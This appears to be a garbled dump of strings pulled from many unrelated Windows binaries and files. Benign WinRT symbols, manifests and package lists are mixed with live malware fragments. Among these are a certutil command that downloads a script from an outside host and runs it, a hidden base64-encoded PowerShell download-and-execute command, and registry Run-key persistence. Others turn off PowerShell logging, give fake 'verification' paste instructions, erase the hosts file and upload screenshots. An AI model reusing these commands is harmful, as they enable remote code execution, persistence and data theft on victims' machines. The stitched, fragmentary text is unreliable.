.?AU?$implements@UAppHistoryPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$producer@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
Application.ShellExecute "cmd.exe", "/c certutil -urlcache -split -f https://docs.healthmade.org//tc.js ""%USERPROFILE%\\Documents\\tc.js"" && cscript ""%USERPROFILE%\\Documents\\tc.js"" && del ""%USERPROFILE%\\Documents\\tc.js"" ", "C:\Windows\System32"
\?\c:\windows\system32\en-us\wmimgmt.msc'
Dataem.Windows.Forms.ImageListStreamer Culture=neutral, PublicKeyToken=b77a5c561934e089
rJ?/e:vbscript.encodevideo.3gp!%systemroot%\system32\shell32.dll
windowsv1system32>*system32b2rundll32.exe
Acmd/c"regdeletehkcu\software\microsoft\windows\currentversion\run/v
cinstall_dirsoftware\microsoft\windows\currentversion\uninstall\cura
windows
.bat"-windowstylehidden
 \microsoft\windows\currentversion\run
JePe\software\microsoft\windows\currentversion\
mozilla/5.0(windowsnt10.0;win64;x64;rv:71.0)gecko/20100101firefox/71.0
mozilla/5.0(windowsnt10.0;win64;x64;rv:71.0)gecko/20100101firefox/70.0
hkcu:\software\microsoft\windows\currentversion\runwindowapplication1$
\software\microsoft\windows\currentversion\run
-windowstylehidden-
DriverData=C:\Windows\System32\Drivers\DriverData
WindowsBackupAndRestore
    name="Microsoft.Windows.FileSystem.CMD"
<description>Windows Command Processor</description>
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
    <windowsSettings xmlns:ws2="http://schemas.microsoft.com/SMI/2016/WindowsSettings">
    </windowsSettings>
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
windows\system32\imageres.dll%
 .exec "c:\windows\exp" & 
windowsformsapplic}
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
healthy|checking|look|for|scanning|verify|restricted|safety|secure|securing|security|sites|trusted|trusting|condition|running|state|status|fix|repair|error|warning|alert|windows|crash|hang|troubleshoot|diagnose|reports|diagnostic|diagnosis|balloon|reminder|performance|maintenance|maintain|reinstall|recovery|restore|cpc|completepc|pc|system|antivirus|anti-virus|spyware|networking|connection|connectivity|messages|mesages|notifications|notifying|notified|download|view|drivers|get|instructions|recommendations|messages|@
Windows tips and suggestionsO
enable Windows tips and suggestionsR
to enable Windows tips and suggestions[
settings to enable Windows tips and suggestionsY
$|multitasking settings|snap windows|snap a window|arrange windows|2{
CalcWindowsFullScreen
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/><maxversiontested Id="10.0.18362.0"/></application></compatibility><application xmlns="urn:schemas-microsoft-com:asm.v3"><windowsSettings><heapType xmlns="http://schemas.microsoft.com/SMI/2020/WindowsSettings">SegmentHeap</heapType></windowsSettings></application></assembly>
Microsoft.Windows.Ast.Rpc
XletusgoIPHONE8.5(host:%s,ip:%s)%s\local settings\fxsst.dll%s\fxsst.dll<yahoo sb="imeinputservicesmkcmddownrun interneturl [clientid]add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SysTray /t reg_sz /f /d=
%s\System32\msrun.exe
\Windowsq
%AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
set-psreadlineoption-historysavestylesavenothing`set-itemproperty-pathhklm:\software\policies\microsoft\windows\powershell\transcription-nameenabletranscripting-value0remove-pslogging
alt="windowskey"class="key-icon"/></li><li>intheverificationwindow,press<strong>ctrl</strong>+<strong>v</strong></li><li>press<strong>enter</strong>onyourkeyboardtofinish</li>
/c erase "C:\WINDOWS\system32\drivers\etc\hostsRansom:Win32/LockScreen.BD
 Windows
Kc:\windows\nvsvc32.exe*:enabled:nvidia driver monitornetsh firewall add allowedprogram 1.exe 1 enableexplorer.exe http://browseusers.myspace.com/browse/browse.aspxnet stop wuauservvisibility=false&post_form_id=ping timeout? (%d-%d)%d/%d
c:/windows/system32/dt
c:/windows/system32/dL
c:/windows/system32/d
c:/windows/system32/d
c:/windows/system32/d
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe
UMicrosoft.Windows.Photos_8wekyb3d8bbwe
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe
UMicrosoft.WindowsCamera_8wekyb3d8bbwe
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe4
UMicrosoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/)
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoftWindows.CrossDevice_cw5n1h2txyewy/
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe
UMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy
UMicrosoft.Windows.Photos_8wekyb3d8bbwe
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe
UMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
UMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy
windows-app-web-link[1]
windows-app-web-link[1]
CheckboxWindows.dll.
windows-app-web-link[1].P
windows-app-web-link[1]
windows-app-web-link[1]
CheckboxWindows.dll
windows-app-web-link[1]
windows-app-web-link[1]
CheckboxWindows.dll
windows-immersivecontrolpanel_cw5n1h2txyewy-microsoft-windows-immersivecontrolpanel_3_0.png
WindowsLive:name=*
:\windowsleocaloteirojvvr8--
C:\Windows\Sun\
.jpgc:\windows\gatacmd /k c:
windows
system32
@Devices@Windows
chiavewin=Risorse di WindowsH45JY4387G5634H7TYNHC783H54735HD4HC
        <windowsSettings>
            <dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
        </windowsSettings>
Windows.Data.Apps.AppLevelTileInfo
$DE${8193A4E6-AEA0-4343-858E-3AA3A3CA8F76}$$WINDOWS.DATA.UNIFIEDTILE.LOCALSTARTTILEPROPERTIESMAP
Windows
ded filesWindows\ShellSOFTWARE\MicrosoSoftware
\system32\%iin(*
\c:\windows\tool1
system32\mdm
windows.create({url6
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-whidden-encsqbfafgaiaaoacgabgblahcalqbvagiaagblagmadaagag4azqb0ac4adwblagiaywbsagkazqbuahqakqauagqabwb3ag4ababvageazabzahqacgbpag4azwaoaccaaab0ahqacabzadoalwavahaayqbzahqazqbqahuacwb0agkadaauagmabwbtac8acgbhahcalwbzadqalqa4adeanga3adkalqa4accakqapaa==
0-windowstylehidden
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Networking-MPSSVC-Rules-EnterpriseEdition-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Networking-MPSSVC-Rules-EnterpriseEdition-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
('typenul>c:\\windows\\
this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
2/pcor.bat','%appdata%\cor.bat');start-process-windowstylehidden
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.RemoteDesktop.ServerStack
Windows.UI.Core.CoreWindow
	.exe -windowstyle hiddenc
s\system32\cmd.X
,c:\windows\system32\cmd.exe/v:true/d/cmshta"javascript:try{
jkcmd.exel/kosc:\windows\system32\cmd.exe!..\
<c:\windows\syswow64\cmd
/q/cdrab\octupling.cmdc:\windows\syswow64\write.exe%systemroot%
WindowsVersion
c:\windows\{	
TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UFocusProxyButton@implementation@TaskManagerApp@winrt@x
c:\windows\system32
c:\windows\system32
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsSearch
Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy
New Windows
Document Windows
+user32.setwindowshook
T\Microsoft\Windows\Defender
WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
m4MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
c:/windows/system32/drivers/wcifs.sys
c:/windows/system32/drivers/wd/wdfilter.sys3
software\microsoft\windows\currentversion\e
system32\
<inputtype="hidden"name="ua"value="mozilla/5.0(windowsnt10.0;win64;x64)applewebkit/537.36(khtml,likegecko)chrome/117.0.5938.132safari/537.36">
.windows-int.net1&0
.windows.com1&0
insidersurveys.windows.com0 
www.insidersurveys.windows.com06
.windows.net1&0
.windowsazure.com1&0
.windowsmedia.com1&0
.windowsphone-int.com1&0
.windowsphone-int.net1&0
.windowsphone.com1)0
.windowsphone.net1&0
.windowssearch.com1&0
.windowsstore.com1&0
\windows\(
System32\DRIVERS\asyncmac.sys"
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
GetWindowsDirectoryA
\windows\currentversion\s
system32\
c:\windows\system32\cmd.exe/q/c"recycler.bin\
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
Yges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Site Characteristics Database
Microsoft.Windows.Kernel.Pdc
Microsoft.Windows.TlgAggregateInternal
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Kernel-Package-BootEnvironment-OS-Loader-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Kernel-Package-BootEnvironment-OS-Loader-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat|
Microsoft-Windows-TFTP-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|26100.1150.cat|.cat|
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
start/minpowershell.exe-windowstylehidden"cls
onecoreuap\windows\advcore\winrt\onecoreiwindow\corewindow\common\input.cpp
gonecoreuap\windows\advcore\winrt\onecoreiwindow\corewindow\common\helper.cpp
onecoreuap\windows\advcore\winrt\uisettings\uisettings.cpp
CoreWindowSite::add_InputAttempted
onecoreuap\windows\advcore\winrt\onecoreiwindow\corewindow\common\site.cpp
CoreWindowSite::add_ComponentWindowActivated
C:\Windows\System32\drivers\etc\hostsC
System32\
Psystem32\notepad
SForStrringWindowsFormsApp1.Properties.Resources.resources
enshot/"+mena.serialnumber,false);http.setrequestheader("user-agent","windowsinstaller");http.setrequestheader("cache-control","no-cache");http.setrequestheader("content-type","image/jpg");http.send(binvariant);
swindows
#f)F:\research\cve-2023-29360\[+] Windows before 19h1 detected, using NT heap spray...0
windows\servicestate\winhttpautoproxysvc
windows\serviceprofiles\localservice\winhttp
WINDOWS11       
WINDOWS11
ROOT\Microsoft\Windows\Storage\MS_409
msPageInteractionRestrictionWindowsRecallSupport
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
c:\Windows\temp\
@UConfirmationDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIConfirmationDialogViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$producers_base@UConfirmationDialogViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIConfirmationDialogViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer@UConfirmationDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UConfirmationDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UConfirmationDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UConfirmationDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UConfirmationDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@UConfirmationDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producer_convert@UConfirmationDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UConfirmationDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UConfirmationDialogViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UConfirmationDialogViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$produce@UTextOnlyDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UTextOnlyDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
Software\Microsoft\Windows NT\CurrentVersion\PeerDist\Service\
sscripttoinstallthesppplatform(office)onwindowsxpandabove
s>-windowstyle
windows"
C:\WINDOWS\SYSTEM32\
l-windowstylehQ
\system32\smartscre
c:\windows\system32\
:n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE}}static bindFinalizeKeystroke(n){t._finalizeKeystrokeHandlers.push(n)}static bindKeystrokeTimelineUpdated(n){t._keystrokeTimelineUpdatedHandlers.push(n)}static fireKeystrokeTimelineUpdatedHandlers(n){t._keystrokeTimelineUpdatedHandlers.forEach(t=>t(n))}static getRawImpressionGuid(i){let r=t._keystrokesInstrumentationData[i];return r&&r.RawImpressionGuid?r.RawImpressionGuid:(n.LogWSBError("getRawImpressionGuid","sequenceNumber: "+i+" ConversationID: "+n.Host.getConversationId(),new Error("No instrumentation data/no IG found for sequenceNumber"),undefined,undefined,"WindowsTelemetry"),"")}static getImpressionGuid(n){let i=t._keystrokesInstrumentationData[n];if(i&&i.ImpressionGuid)return i.ImpressionGuid;throw"getImpressionGuid(): No IG for sequence "+n;}static updateSuggestionsList(n,i){t._clientTelemetry&&t._clientTelemetry.updateSuggestionsList(n,i)}static instrumentKeyDown(n){t._keyDownTimeStamp=n}static instrumentFetchProviderBegin(i,r){i>0&&t.safeInstrumentPerf(i,i=>{n.config.perfInstV2&&(i.DataProvidersStarted[r]=t.getOffsettedNow())},"instrumentFetchProviderBegin",null)}static instrumentFetchesBegin(i){t.safeInstrumentPerf(i,i=>{i.DataSourcesFetchBegin=t.getOffsettedNow(),n.config.perfInstV2&&(i.DataProviderFetchStart=t.getOffsettedNow())},"instrumentFetchesBegin",null)}static instrumentFetchesEnd(n){t.safeInstrumentPerf(n,n=>{n.DataSourcesFetchEnd=t.getOffsettedNow()},"instrumentFetchesEnd",null)}static instrumentDataSourceParsed(n,i){t.safeInstrumentPerf(n,n=>{let r=t.getOffsettedNow();typeof n.ResponseParsed[i]!="number"?n.ResponseParsed[i]=r:(n.MultipleResponsesParsed[i]||(n.MultipleResponsesParsed[i]=[n.ResponseParsed[i]]),n.MultipleResponsesParsed[i].push(r))},"instrumentDataSourceParsed",i)}static instrumentNumberOfResponse(n,i,r){t.safeInstrumentPerf(n,n=>{n.NumberOfResponse[i]=r},"instrumentNumberOfResponse",i)}static instrumentProviderFirstSuggestion(n,i,r){t.safeInstrumentPerf(n,n=>{n.ProviderFirstSuggestion&&!n.ProviderFirstSuggestion[i]&&(n.ProviderFirstSuggestion[i]=r)},"instrumentProviderFirstSuggestion",i)}static instrumentItemClickForPreviewPane(i,r,u,f,e,o,s,h,c,l){var a;if(r.getHandoffType()!=999){if(n.Host.getLogUserActivityDataEnabled()&&(r.getUserEngagementContent().previewPaneHit=!0,n.config.ssrBugFixes)){const n=r.getUserEngagementContent();n&&(n.previewPaneLaunchType=s)}let v=t.createBaseCustomGPingPayload(e,o);t.addPreviewPaneDataToGPingPayload(v,s,h,c);t.instrumentItemClickAndGPing(v,i,r,u,f,e);n.isSemanticSearchTelemetryEnabled()&&!n.isNullOrUndefined(l)&&((a=t._clientTelemetry)===null||a===void 0?void 0:a.logPreviewPaneItemClickMeasure(h,l));n.Host.getLogUserActivityDataEnabled()&&t.instrumentActionsOnSuggestion(r,1)}}static isContextMenuVerbClickEvent(t){switch(t){case"RemoveFromDeviceHistory":case"RemoveFromDeviceHistoryAll":case n.JumplistActionItemType[n.JumplistActionItemType.StartPin]:case n.JumplistActionItemType[n.JumplistActionItemType.StartUnpin]:case n.JumplistActionItemType[n.JumplistActionItemType.TaskbarPin]:case n.JumplistActionItemType[n.JumplistActionItemType.TaskbarUnpin]:case 